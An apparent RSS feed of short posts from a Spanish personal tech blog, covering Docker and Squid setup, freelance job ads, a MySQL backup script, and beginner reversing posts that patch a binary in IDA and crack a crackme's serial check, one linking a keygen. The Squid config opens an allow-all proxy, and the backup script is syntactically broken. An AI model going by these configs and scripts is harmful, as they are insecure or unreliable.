<h4 id="eliminar-paquetes-en-conflicto">eliminar paquetes en conflicto</h4>
<p><code>for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done</code></p>
<h4 id="métodos-de-instalación">Métodos de instalación</h4>
<ul>
<li>Docker Engine viene incluido con <a href="https://docs.docker.com/desktop/install/linux/">Docker Desktop para Linux</a>. Esta es la forma más fácil y rápida de empezar.</li>
<li>Configure e instale Docker Engine desde el repositorio apto de Docker.</li>
<li>Instálelo manualmente y administre las actualizaciones manualmente.</li>
<li>Utilice un script de conveniencia. Sólo recomendado para entornos de prueba y desarrollo.</li>
</ul>
<h4 id="usando-apt-repositorio-este-es-el-que-yo-uso-siempre">Usando <code>apt</code> repositorio (este es el que yo uso siempre)</h4>
<pre tabindex="0"><code># Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get updatebash
</code></pre><p>Si usa una distribución derivada, como Kali Linux, es posible que deba sustituir la parte de este comando que se espera que imprima el nombre en clave de la versión:</p>
-
Fix file upload functionality php mysql website
https://imlauera.github.io/post/fix_file_upload_functionality_php_mysql_website/
Sat, 21 Sep 2024 11:30:55 -0300
https://imlauera.github.io/post/fix_file_upload_functionality_php_mysql_website/
<blockquote>
<p>We are looking for a skilled developer to enhance the file upload functionality on our existing website built with PHP and MySQL. Currently, the system only accepts PDF files, and we need it modified to support additional file types. The ideal candidate will be experienced in PHP programming and have a strong understanding of file handling in web applications. If you are detail-oriented and can ensure secure and efficient file uploads, we would love to hear from you.</p>
-
Guardar pagina en archive
https://imlauera.github.io/post/guardar_pagina_en_archive/
Sat, 21 Sep 2024 10:49:55 -0300
https://imlauera.github.io/post/guardar_pagina_en_archive/
<p><a href="https://web.archive.org/save">https://web.archive.org/save</a></p>
<p>Y dale a <code>Save page now</code></p>
-
Parcheando una variable int en IDA (Parcheando binario)
https://imlauera.github.io/post/parchear_binarios/
Sat, 21 Sep 2024 09:16:36 -0300
https://imlauera.github.io/post/parchear_binarios/
<p>Primero instalá IDA y gcc.</p>
<p>Vamos a parchear el siguiente código.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> the_number <span style="color:#f92672">=</span> <span style="color:#ae81ff">5</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Welcome to patch experiment.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"your number is: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, the_number);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Lo compilamos con: <code>gcc patching.c -o patching</code></p>
<p>Para saber que tipo de binario es: <code>file patching</code></p>
<p>Abrimos el binario con IDA: <code>ida64 patching</code> con f5 decompilás el programa.</p>
<p><img src="https://imlauera.github.io/img/reversing/codigo.webp" alt="codigo"></p>
<blockquote>
<p><code>.text:0000000000001151 mov [rbp+var_4], 5</code></p>
</blockquote>
<p>Vamos a cambiar el valor del entero <code>the_number</code> a <code>77</code>.</p>
<h4 id="parcheamos">Parcheamos</h4>
<p>Edit tab > patch program > change bytes > change bytes.</p>
-
Reversing nuevo facil
https://imlauera.github.io/post/reversing_nuevo_facil/
Sat, 21 Sep 2024 04:36:50 -0300
https://imlauera.github.io/post/reversing_nuevo_facil/
<p>El keygen se encuentra en: <a href="https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1">https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><string.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gets_s</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>s, <span style="color:#66d9ef">size_t</span> n)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>s) <span style="color:#66d9ef">return</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> ch;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span>(i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; i<span style="color:#f92672"><</span>n<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span> ch <span style="color:#f92672">=</span> <span style="color:#a6e22e">fgetc</span>(stdin);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// If end-of-file is encountered and no characters have been read into the array,
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// or if a read error occurs during the operation, then s[0] is set to the null character
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">ferror</span>(stdin) <span style="color:#f92672">||</span> (ch <span style="color:#f92672">==</span> EOF <span style="color:#f92672">&&</span> i <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>)) {
</span></span><span style="display:flex;"><span> s[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">'\0'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> NULL;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// If EOF and we have read at least one character
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(ch <span style="color:#f92672">==</span> EOF) {
</span></span><span style="display:flex;"><span> s[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">'\0'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> s;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> s[i] <span style="color:#f92672">=</span> ch;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(ch <span style="color:#f92672">==</span> <span style="color:#e6db74">'\n'</span>) {
</span></span><span style="display:flex;"><span> s[i] <span style="color:#f92672">=</span> <span style="color:#e6db74">'\0'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> s;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ((ch <span style="color:#f92672">=</span> <span style="color:#a6e22e">getchar</span>()) <span style="color:#f92672">!=</span> <span style="color:#e6db74">'\n'</span> <span style="color:#f92672">&&</span> ch <span style="color:#f92672">!=</span> EOF);
</span></span><span style="display:flex;"><span> s[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">'\0'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> NULL;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v4; <span style="color:#75715e">// [esp+0h] [ebp-74h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v5; <span style="color:#75715e">// [esp+0h] [ebp-74h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v6; <span style="color:#75715e">// [esp+0h] [ebp-74h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v7; <span style="color:#75715e">// [esp+8h] [ebp-6Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> i; <span style="color:#75715e">// [esp+Ch] [ebp-68h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> v9; <span style="color:#75715e">// [esp+10h] [ebp-64h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Destination[<span style="color:#ae81ff">52</span>]; <span style="color:#75715e">// [esp+14h] [ebp-60h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> serial[<span style="color:#ae81ff">20</span>]; <span style="color:#75715e">// [esp+48h] [ebp-2Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> key[<span style="color:#ae81ff">20</span>]; <span style="color:#75715e">// [esp+5Ch] [ebp-18h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(Destination, <span style="color:#e6db74">"_bondi"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&</span>Destination[<span style="color:#ae81ff">7</span>], <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">43u</span>);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingresa una key: "</span>, v4);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gets_s</span>(key, <span style="color:#ae81ff">20u</span>);
</span></span><span style="display:flex;"><span> v9 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(key);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v9 <span style="color:#f92672"><</span> <span style="color:#ae81ff">5</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcat</span>(Destination, key);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingresa un serial: "</span>, v5);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gets_s</span>(serial, <span style="color:#ae81ff">20u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">strlen</span>(serial) <span style="color:#f92672"><</span> <span style="color:#ae81ff">2</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v9 <span style="color:#f92672"><</span> <span style="color:#ae81ff">5</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcat</span>(Destination, <span style="color:#e6db74">"50431"</span>);
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">atoi</span>(serial);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>v6 )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> v9; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">^=</span> key[i];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"serial introducido: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,v6);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"serial que tiene que ser: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,v7);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v7 <span style="color:#f92672">==</span> v6 )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Bien hecho !</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v6);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Nada que verrrrrr....</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v6);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">"pause"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="https://imlauera.github.io/img/reversing_facil.png" alt="win"></p>
-
Reversing keygen con CPUID
https://imlauera.github.io/post/reversing_basico/
Fri, 20 Sep 2024 23:56:53 -0300
https://imlauera.github.io/post/reversing_basico/
<h4 id="cómo-genera-el-serial">Cómo genera el serial:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>_EAX <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">__asm</span> { cpuid }
</span></span><span style="display:flex;"><span>resul <span style="color:#f92672">=</span> _EDX <span style="color:#f92672">+</span> _EAX <span style="color:#f92672">+</span> <span style="color:#ae81ff">69</span>;
</span></span><span style="display:flex;"><span>_EAX <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">__asm</span> { cpuid }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">__itoa_s</span>(_ECX <span style="color:#f92672">^</span> _EDX <span style="color:#f92672">^</span> resul, my_serial, <span style="color:#ae81ff">0x64u</span>, <span style="color:#ae81ff">16</span>);
</span></span></code></pre></div><p>The cpuid instruction tells you various things about the CPU depending on the content of the eax register. When eax contains zero, the registers ebx, edx, and ecx contain a string describing the processor’s vendor. The code you have pulls the string from the registers and prints it out.</p>
-
Terraform
https://imlauera.github.io/post/terraform/
Fri, 20 Sep 2024 20:30:22 -0300
https://imlauera.github.io/post/terraform/
<p>Hay mucho trabajo de AWS Terraform.</p>
<h4 id="ejemplo-trabajo-típico">Ejemplo trabajo típico</h4>
<p><a href="https://imlauera.github.io/files/Terraform.pdf">Terraform</a></p>
<h3 id="otro-trabajo">Otro trabajo</h3>
<p>– NO ANGENCY –</p>
<p>Please start your application by saying “I can work in US hours”
We are seeking a talented Devops Engineer with expertise in AWS, GITHUB actions, and CI/CD processes. The ideal candidate will have a strong background in designing and implementing scalable, secure, and high-performing AWS infrastructure. As a Devops Engineer, you will be responsible for setting up and managing CI/CD pipelines, automating deployment processes, and monitoring system performance. This role requires excellent problem-solving skills and the ability to work collaboratively with cross-functional teams. If you have a proven track record in Devops engineering and are familiar with tools such as AWS, Github Actions, Terraform, we would love to hear from you.</p>
-
Reparar led
https://imlauera.github.io/post/reparar_led/
Fri, 20 Sep 2024 20:22:31 -0300
https://imlauera.github.io/post/reparar_led/
<p><a href="https://m.youtube.com/shorts/qaTGAeUlvv8">https://m.youtube.com/shorts/qaTGAeUlvv8</a></p>
<p><a href="https://m.youtube.com/shorts/0ljYuv3vB3k">https://m.youtube.com/shorts/0ljYuv3vB3k</a></p>
<p><a href="https://m.youtube.com/shorts/vdUa0yZgV2I">https://m.youtube.com/shorts/vdUa0yZgV2I</a></p>
<p><a href="https://m.youtube.com/shorts/mYF6WWgd9ug">https://m.youtube.com/shorts/mYF6WWgd9ug</a></p>
<p><a href="https://www.tiktok.com/@solnox08/video/7338833408908446981?q=fix%20led&t=1726874603482">https://www.tiktok.com/@solnox08/video/7338833408908446981?q=fix%20led&t=1726874603482</a></p>
<p><a href="https://www.facebook.com/reel/548982874122062">https://www.facebook.com/reel/548982874122062</a></p>
<p><a href="https://www.facebook.com/reel/498253016493939/?s=single_unit&__cft__%5B0%5D=AZVLIW2WsA2vsou1NE6MTHcI-BvG_q_2V95BH4ecSjjjmkEPCeLolOc8ts0Rae13suCJJXS2hnOHuIHPGGgGa68whi6G9fWAtv4k3vWRkjj7WRBalKwY0PQbRVXqqgIwhYA7h7wDJkTLUc13h6vedAVPhAm_Tk0ZkHg-Ky-MB3aV77yThPTAoFkkNe1AcRxbHy2mFkW4Nf08K13fOKmjz99qyMPgBHXieRxkfq1dIdraOzns9_xIPwN19OHnBAQLSfM&__tn__=H-R">https://www.facebook.com/reel/498253016493939/?s=single_unit&__cft__[0]=AZVLIW2WsA2vsou1NE6MTHcI-BvG_q_2V95BH4ecSjjjmkEPCeLolOc8ts0Rae13suCJJXS2hnOHuIHPGGgGa68whi6G9fWAtv4k3vWRkjj7WRBalKwY0PQbRVXqqgIwhYA7h7wDJkTLUc13h6vedAVPhAm_Tk0ZkHg-Ky-MB3aV77yThPTAoFkkNe1AcRxbHy2mFkW4Nf08K13fOKmjz99qyMPgBHXieRxkfq1dIdraOzns9_xIPwN19OHnBAQLSfM&__tn__=H-R</a></p>
<p><a href="https://www.facebook.com/reel/1248495569480406">https://www.facebook.com/reel/1248495569480406</a></p>
<p><a href="https://www.facebook.com/share/p/rTPNsEavJiT5npZ2/">https://www.facebook.com/share/p/rTPNsEavJiT5npZ2/</a></p>
-
Kubernetes basic
https://imlauera.github.io/post/kubernetes_basic/
Fri, 20 Sep 2024 20:18:58 -0300
https://imlauera.github.io/post/kubernetes_basic/
<blockquote>
<p><strong>Kubernetes | Fractionalize GPU V100</strong>
I am looking for someone who can help me to fractionalize the GPU V100 via Kubernetes cluster environment. I am able to fractionalize A100 GPU via Mig enabled but won’t able to do V100 and l40s .</p>
</blockquote>
-
Aws
https://imlauera.github.io/post/aws/
Fri, 20 Sep 2024 20:18:09 -0300
https://imlauera.github.io/post/aws/
<p>Acá explicaré servicios de AWS (EC2, S3, RDS, Lambda, etc.).</p>
-
¿Qué es el Protocolo escritorio remoto RCP?
https://imlauera.github.io/post/protocolo_escritorio_remoto_rcp/
Fri, 20 Sep 2024 20:06:42 -0300
https://imlauera.github.io/post/protocolo_escritorio_remoto_rcp/
<p><a href="https://m.youtube.com/watch?v=NOytvWA0ZQw">https://m.youtube.com/watch?v=NOytvWA0ZQw</a></p>
<p><a href="https://m.youtube.com/watch?v=DXUTEKsroSo">https://m.youtube.com/watch?v=DXUTEKsroSo</a></p>
<p><a href="https://m.youtube.com/watch?v=RHGYx921Q9I">https://m.youtube.com/watch?v=RHGYx921Q9I</a></p>
<p><a href="https://m.youtube.com/watch?v=Kr8jz5wDob8">https://m.youtube.com/watch?v=Kr8jz5wDob8</a></p>
<h3 id="aws-ubuntu-install-with-rdp-access">AWS Ubuntu Install with RDP access</h3>
<blockquote>
<p>I need help creating an instance (Ubuntu) then setting up XRDP so I can access the GUI from my macbook via rdp. Then, I need to install <a href="https://www.sans.org/tools/sift-workstation/">https://www.sans.org/tools/sift-workstation/</a></p>
</blockquote>
-
Mysql cronjob
https://imlauera.github.io/post/mysql_cronjob/
Fri, 20 Sep 2024 19:57:30 -0300
https://imlauera.github.io/post/mysql_cronjob/
<p>Esto es una pésima forma de hacer backups.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p /home/miusuario/backup/database-backups <span style="color:#f92672">&&</span> cd /home/miusuario/backup/database-backups
</span></span><span style="display:flex;"><span>touch cron_backup.sh
</span></span><span style="display:flex;"><span>chmod +x cron_backup.sh
</span></span></code></pre></div><p>Hay muchas mejores formas de hacer esto pero este es el script que lo usé un par de veces.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># @author: Jabran Rafique <[email protected]></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># @link: http://jabran.me/articles/automatic-database-backup-using-git-hosting/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Set variables</span>
</span></span><span style="display:flex;"><span>FULLDATE <span style="color:#f92672">=</span> <span style="color:#66d9ef">$(</span>date +<span style="color:#e6db74">"%Y-%d-%m %H:%M"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>NOW <span style="color:#f92672">=</span> <span style="color:#66d9ef">$(</span>date +<span style="color:#e6db74">"%Y-%m-%d-%H-%M"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># MYSQL_DUMP = `which mysqldump`</span>
</span></span><span style="display:flex;"><span>MYSQL_DUMP <span style="color:#f92672">=</span> <span style="color:#e6db74">"docker compose -f /home/miusuario/kimkelen/ exec db /usr/bin/mysqldump"</span>
</span></span><span style="display:flex;"><span>GIT <span style="color:#f92672">=</span> <span style="color:#e6db74">`</span>which git<span style="color:#e6db74">`</span>
</span></span><span style="display:flex;"><span>DB_NAME <span style="color:#f92672">=</span> <span style="color:#e6db74">"kimkelen"</span>
</span></span><span style="display:flex;"><span>CRON_USER <span style="color:#f92672">=</span> <span style="color:#e6db74">"root"</span>
</span></span><span style="display:flex;"><span>CRON_PASSWORD <span style="color:#f92672">=</span> <span style="color:#e6db74">"xxxx"</span>
</span></span><span style="display:flex;"><span>TEMP_BACKUP <span style="color:#f92672">=</span> <span style="color:#e6db74">"latest_backup.sql"</span>
</span></span><span style="display:flex;"><span>BACKUP_DIR <span style="color:#f92672">=</span> <span style="color:#66d9ef">$(</span>date +<span style="color:#e6db74">"%Y/%m"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Check current Git status and update</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">${</span>GIT<span style="color:#e6db74">}</span> status
</span></span><span style="display:flex;"><span><span style="color:#e6db74">${</span>GIT<span style="color:#e6db74">}</span> pull origin HEAD
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Dump database</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">${</span>MYSQL_DUMP<span style="color:#e6db74">}</span> -u <span style="color:#e6db74">"</span>$CRON_USER<span style="color:#e6db74">"</span> -p <span style="color:#e6db74">"</span>$CRON_PASSWORD<span style="color:#e6db74">"</span> $DB_NAME > $TEMP_BACKUP
</span></span><span style="display:flex;"><span>wait
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Make backup directory if not exists (format: {year}/{month}/)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -d <span style="color:#e6db74">"</span>$BACKUP_DIR<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> mkdir -p $BACKUP_DIR
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Compress SQL dump</span>
</span></span><span style="display:flex;"><span> tar -cvzf $BACKUP_DIR/$DB_NAME-$NOW-sql.tar.gz $TEMP_BACKUP
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Remove original SQL dump</span>
</span></span><span style="display:flex;"><span> rm -f $TEMP_BACKUP
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Add to Git and commit</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">${</span>GIT<span style="color:#e6db74">}</span> add -A
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">${</span>GIT<span style="color:#e6db74">}</span> commit -m <span style="color:#e6db74">"Automatic backup - </span>$FULLDATE<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">${</span>GIT<span style="color:#e6db74">}</span> push origin HEAD
</span></span></code></pre></div><hr>
<h4 id="al-final-lo-terminé-dejando-así">Al final lo terminé dejando así:</h4>
<p>Esto es necesario para que find lo ignore: <br>
<code>mv cron_backup.sh .cron_backup.sh</code></p>
-
Eliminar el fondo de la cámara en OBS y como configurar push-to-talk.
https://imlauera.github.io/post/como_eliminar_background_obs/
Fri, 20 Sep 2024 17:09:37 -0300
https://imlauera.github.io/post/como_eliminar_background_obs/
<p>Instalá: <a href="https://github.com/locaal-ai/obs-backgroundremoval/releases/tag/1.1.13">https://github.com/locaal-ai/obs-backgroundremoval/releases/tag/1.1.13</a></p>
<p>En Linux: <code>sudo dpkg -i .deb</code></p>
<p>Abrí el OBS agregá la cámara en sources (fuentes), botón derecho filters, botón derecho en effect filters y agregá background removal.</p>
<p>Y para agregarle otro fondo, en fuentes agregá una imágen cualquiera y con control seleccioná tu cámara y la imágen que agregaste botón derecho y “group items” (agrupar items).</p>
<p>Podés probar cambiando en opciones avanzadas el <code>segmentation model</code> y fijarte cual funciona mejor.
Podés ponerte borroso a vos mismo pero no el background (blur focus point)</p>
-
Configurando un servidor proxy: squid
https://imlauera.github.io/post/setup_proxy_server/
Fri, 20 Sep 2024 17:08:21 -0300
https://imlauera.github.io/post/setup_proxy_server/
<p>Instalamos squid:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y squid
</span></span><span style="display:flex;"><span>systemctl start squid
</span></span><span style="display:flex;"><span>systemctl enable squid
</span></span><span style="display:flex;"><span>systemctl status squid
</span></span><span style="display:flex;"><span>ss -antpl | grep <span style="color:#ae81ff">3128</span>
</span></span></code></pre></div><p>Abrimos el siguiente archivo:</p>
<pre tabindex="0"><code>sudo vim /etc/squid/squid.conf
</code></pre><p>Cambiá la siguiente línea con el puerto deseado <code>http_port 3128</code></p>
<h3 id="configurá-squid-para-permitir-todo-el-tráfico">Configurá squid para permitir todo el tráfico:</h3>
<p>Comenta la línea <code>http_access deny all</code> y añadí el <code>http_access allow all</code> como se muestra más abajo:</p>
<p>También bloqueá algunos sitios</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>acl backlist1 dstdomain facebook.com
</span></span><span style="display:flex;"><span>acl backlist2 dstdomain yahoo.com
</span></span><span style="display:flex;"><span>http_access deny backlist1
</span></span><span style="display:flex;"><span>http_access deny backlist2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>http_access allow all
</span></span><span style="display:flex;"><span>http_access deny all
</span></span></code></pre></div><p>Guardá y reiniciá el servicio de Squid: <code>systemctl restart squid</code></p>
-
Sql data analysis cheat sheet
https://imlauera.github.io/post/sql_data_analysis_cheat_sheet/
Fri, 20 Sep 2024 17:03:36 -0300
https://imlauera.github.io/post/sql_data_analysis_cheat_sheet/
<p><a href="https://learnsql.com/blog/sql-for-data-analysis-cheat-sheet/">https://learnsql.com/blog/sql-for-data-analysis-cheat-sheet/</a></p>
<p><a href="https://m.youtube.com/watch?v=GEBzsz8ZSXs&pp=ygUdc3FsIGRhdGEgYW5hbHlzaXMgY2hlYXQgc2hlZXQ%3D">https://m.youtube.com/watch?v=GEBzsz8ZSXs&pp=ygUdc3FsIGRhdGEgYW5hbHlzaXMgY2hlYXQgc2hlZXQ%3D</a></p>
